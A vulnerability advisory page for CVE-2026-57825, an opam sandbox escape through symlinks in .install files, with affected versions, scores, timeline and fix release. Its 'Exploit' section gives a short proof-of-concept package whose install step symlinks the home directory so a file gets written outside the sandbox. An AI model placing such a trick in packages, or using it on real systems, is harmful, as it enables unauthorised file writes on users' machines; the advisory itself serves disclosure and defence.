CVE-2026-57825
5.7medium
opam install sandbox escape using symlinks
- Severity
- 5.7medium CVSS:3.1 by mitre
- Exploit likelihood
- 0.31% (higher than 26% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- mitre
- Also known as
- OSEC-2026-10
Description
In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| OCaml opam | before 2.5.2 | CVE List |
| opam-devel (opam) | before 2.5.2 | OCaml Security Advisories |
| https://github.com/ocaml/opam | before 09c3df1ffb33cc0a09b3a81f36bb74898dce2120, before 248f8400e5ecb6ecbd7a672448477d08cedfdc24 | OCaml Security Advisories |
All scores
| mitre | 5.7medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N |
| OCaml Security Advisories | 5.7medium CVSS:3.0 | CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.
What each source says
CVE List
In the opam package before 2.5.2 for OCaml, the sandbox protection mechanism can be bypassed because symlinks are mishandled during use of .install files.
OCaml Security Advisories
Summary
Installing files through .install files do not check symlinks resolution of the target path, and so can bypass sandboxing.
Exploit
Let's imagine a test package whose test.install file looks like the following:
share_root: [
"test" {"blah/pwnd"}
]
and test.opam file:
opam-version: "2.0"
install: ["sh" "-c" "ln -s \"$HOME\" \"%{share}%/blah\""]
Installing this package will write the pwnd file in the home directory of the current user, bypassing sandboxing.
Timeline
- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team
- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks
- 2026-07-08: opam 2.5.2 was released with the fix
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-57825 changed 2026-09-14 | CVE Terms of Use |
| OCaml Security Advisories | OSEC-2026-10 changed 2026-11-06 | CC0-1.0 |
| NVD | CVE-2026-57825 changed 2026-09-14 | Public domain |